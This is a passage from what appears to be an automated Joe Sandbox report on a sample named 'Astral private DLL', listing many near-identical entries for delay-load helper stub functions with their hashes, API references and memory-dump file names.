API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 242e069a439833dceaf5f399fe3c91fbb6b4bc7c8a5d6dcb300e3deecf995f70
Instruction ID: 792ca69d29a0cb5af8db4e4965e6046c19e4f853f43d644f2cf878bcd77ac9fc
Opcode Fuzzy Hash: 242e069a439833dceaf5f399fe3c91fbb6b4bc7c8a5d6dcb300e3deecf995f70
Instruction Fuzzy Hash: 8EA002D5259141BC7608A1515D07D3701EDC4D9B51371C56DF85AC54855A5178451871

Function 0017E27D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6ae7a2e9275b355f691244ad9e8f61f3b500d5ffe912839ae4007504b939fb36
Instruction ID: 792ca69d29a0cb5af8db4e4965e6046c19e4f853f43d644f2cf878bcd77ac9fc
Opcode Fuzzy Hash: 6ae7a2e9275b355f691244ad9e8f61f3b500d5ffe912839ae4007504b939fb36
Instruction Fuzzy Hash: 8EA002D5259141BC7608A1515D07D3701EDC4D9B51371C56DF85AC54855A5178451871

Function 0017E291 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d8cd1443f7264d4c657dd430f92002cfe6e5a635b93e32c03e4fd303b24e5e83
Instruction ID: 792ca69d29a0cb5af8db4e4965e6046c19e4f853f43d644f2cf878bcd77ac9fc
Opcode Fuzzy Hash: d8cd1443f7264d4c657dd430f92002cfe6e5a635b93e32c03e4fd303b24e5e83
Instruction Fuzzy Hash: 8EA002D5259141BC7608A1515D07D3701EDC4D9B51371C56DF85AC54855A5178451871

Function 0017E29B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9117c6a4f86796e7b4b7e380c4381aefbd23e801148284e8b8031e919ffe7438
Instruction ID: 792ca69d29a0cb5af8db4e4965e6046c19e4f853f43d644f2cf878bcd77ac9fc
Opcode Fuzzy Hash: 9117c6a4f86796e7b4b7e380c4381aefbd23e801148284e8b8031e919ffe7438
Instruction Fuzzy Hash: 8EA002D5259141BC7608A1515D07D3701EDC4D9B51371C56DF85AC54855A5178451871

Function 0017E2B9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f9d81ce5bced08cbb91ef27d70b44eb78d0da01cd9089df685f480274a75679f
Instruction ID: 792ca69d29a0cb5af8db4e4965e6046c19e4f853f43d644f2cf878bcd77ac9fc
Opcode Fuzzy Hash: f9d81ce5bced08cbb91ef27d70b44eb78d0da01cd9089df685f480274a75679f
Instruction Fuzzy Hash: 8EA002D5259141BC7608A1515D07D3701EDC4D9B51371C56DF85AC54855A5178451871

Function 0017E2A5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 40721bebca576e763fa398475fe6b4b8ed87be4bac40315f5533d2370d915c08
Instruction ID: 792ca69d29a0cb5af8db4e4965e6046c19e4f853f43d644f2cf878bcd77ac9fc
Opcode Fuzzy Hash: 40721bebca576e763fa398475fe6b4b8ed87be4bac40315f5533d2370d915c08
Instruction Fuzzy Hash: 8EA002D5259141BC7608A1515D07D3701EDC4D9B51371C56DF85AC54855A5178451871

Function 0017E2AF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5fb6ab0c492bad23071ac1ea70b989b429a807cc70b8d2b5cf1fd3023c3c064b
Instruction ID: 792ca69d29a0cb5af8db4e4965e6046c19e4f853f43d644f2cf878bcd77ac9fc
Opcode Fuzzy Hash: 5fb6ab0c492bad23071ac1ea70b989b429a807cc70b8d2b5cf1fd3023c3c064b
Instruction Fuzzy Hash: 8EA002D5259141BC7608A1515D07D3701EDC4D9B51371C56DF85AC54855A5178451871

Function 0017E2D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8743434aba0d78dfece21b1897fdcab0d5aadf9da2df3fa70a99c60da52202fb
Instruction ID: 792ca69d29a0cb5af8db4e4965e6046c19e4f853f43d644f2cf878bcd77ac9fc
Opcode Fuzzy Hash: 8743434aba0d78dfece21b1897fdcab0d5aadf9da2df3fa70a99c60da52202fb
Instruction Fuzzy Hash: 8EA002D5259141BC7608A1515D07D3701EDC4D9B51371C56DF85AC54855A5178451871

Function 0017E2C3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2f57a2a682586720a55d89775ebc8ba53046754d777eabc82bd278a6633f2bbb
Instruction ID: 792ca69d29a0cb5af8db4e4965e6046c19e4f853f43d644f2cf878bcd77ac9fc
Opcode Fuzzy Hash: 2f57a2a682586720a55d89775ebc8ba53046754d777eabc82bd278a6633f2bbb
Instruction Fuzzy Hash: 8EA002D5259141BC7608A1515D07D3701EDC4D9B51371C56DF85AC54855A5178451871

Function 0017E2CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5e722aa08945c762673a9afff3d206b98272ae3bc4cd68b50ea8c14e4d5e9a73
Instruction ID: 792ca69d29a0cb5af8db4e4965e6046c19e4f853f43d644f2cf878bcd77ac9fc
Opcode Fuzzy Hash: 5e722aa08945c762673a9afff3d206b98272ae3bc4cd68b50ea8c14e4d5e9a73
Instruction Fuzzy Hash: 8EA002D5259141BC7608A1515D07D3701EDC4D9B51371C56DF85AC54855A5178451871

Function 0017E3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E3FC

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 758bc2757f3f14fcfe6b10a7cbb495097d70285ba9904d0ef1e1673209697817
Instruction ID: 5bf385e5854e253eae7c257969a55d655542b8ebb8c15e782c1caa0e787b1487
Opcode Fuzzy Hash: 758bc2757f3f14fcfe6b10a7cbb495097d70285ba9904d0ef1e1673209697817
Instruction Fuzzy Hash: 7BA011E22A80023C3208A2022C02C3B02FCC0C8B20330C0AEF8A8A0080AE80080008B3

Function 0017E414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E3FC

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5261e9234d0be67fc0c3ed3ee433ab987df903062a8f6ffb0a57fff6aacd5aa5
Instruction ID: 1ba834d1d33ea087f2438f6ab25e80e8f0dfc5b2469a9820d7017f6aeb440dd1
Opcode Fuzzy Hash: 5261e9234d0be67fc0c3ed3ee433ab987df903062a8f6ffb0a57fff6aacd5aa5
Instruction Fuzzy Hash: 5AA011E22A8002BC3208A2022C02C3B02FCC0C8B20330C8AEF8AA80080AA80080008B3

Function 0017E40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E3FC

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2828352552b3c9b8e0e62d49da57387ebd42d4dcb8779f9db9900880b9baaf04
Instruction ID: 1ba834d1d33ea087f2438f6ab25e80e8f0dfc5b2469a9820d7017f6aeb440dd1
Opcode Fuzzy Hash: 2828352552b3c9b8e0e62d49da57387ebd42d4dcb8779f9db9900880b9baaf04
Instruction Fuzzy Hash: 5AA011E22A8002BC3208A2022C02C3B02FCC0C8B20330C8AEF8AA80080AA80080008B3

Function 0017E432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E3FC

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7f22fd8759e83e20d32f1bd2a47791a6269b55557d347c2711f9b0c3fdd54dc2
Instruction ID: 1ba834d1d33ea087f2438f6ab25e80e8f0dfc5b2469a9820d7017f6aeb440dd1
Opcode Fuzzy Hash: 7f22fd8759e83e20d32f1bd2a47791a6269b55557d347c2711f9b0c3fdd54dc2
Instruction Fuzzy Hash: 5AA011E22A8002BC3208A2022C02C3B02FCC0C8B20330C8AEF8AA80080AA80080008B3

Function 0017E43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E3FC

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7ba1a97aa5524c0cf0e90bbd45e22af24a9d386499f64a37384c2c064d4c1d87
Instruction ID: 1ba834d1d33ea087f2438f6ab25e80e8f0dfc5b2469a9820d7017f6aeb440dd1
Opcode Fuzzy Hash: 7ba1a97aa5524c0cf0e90bbd45e22af24a9d386499f64a37384c2c064d4c1d87
Instruction Fuzzy Hash: 5AA011E22A8002BC3208A2022C02C3B02FCC0C8B20330C8AEF8AA80080AA80080008B3

Function 0017E446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E3FC

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e740a62191fd34e50e91be4c384d635037263aefd96dfa19f185adf8c17ba8b7
Instruction ID: 1ba834d1d33ea087f2438f6ab25e80e8f0dfc5b2469a9820d7017f6aeb440dd1
Opcode Fuzzy Hash: e740a62191fd34e50e91be4c384d635037263aefd96dfa19f185adf8c17ba8b7
Instruction Fuzzy Hash: 5AA011E22A8002BC3208A2022C02C3B02FCC0C8B20330C8AEF8AA80080AA80080008B3

Function 0017E555 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E51F

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8df21397c214d1394870dc8ba767e663e15498936e57ba61e9ff196f1c18de47
Instruction ID: 73153cb15a47298873e1c858fabb155719fe77a2adb2db6128c1b332ecbe998e
Opcode Fuzzy Hash: 8df21397c214d1394870dc8ba767e663e15498936e57ba61e9ff196f1c18de47
Instruction Fuzzy Hash: 2FA011CA2A8002BC320822002E02C3B02FCC0CAF20330C8AEF82A80080AA800C0008B2

Function 0017E55F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E51F

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
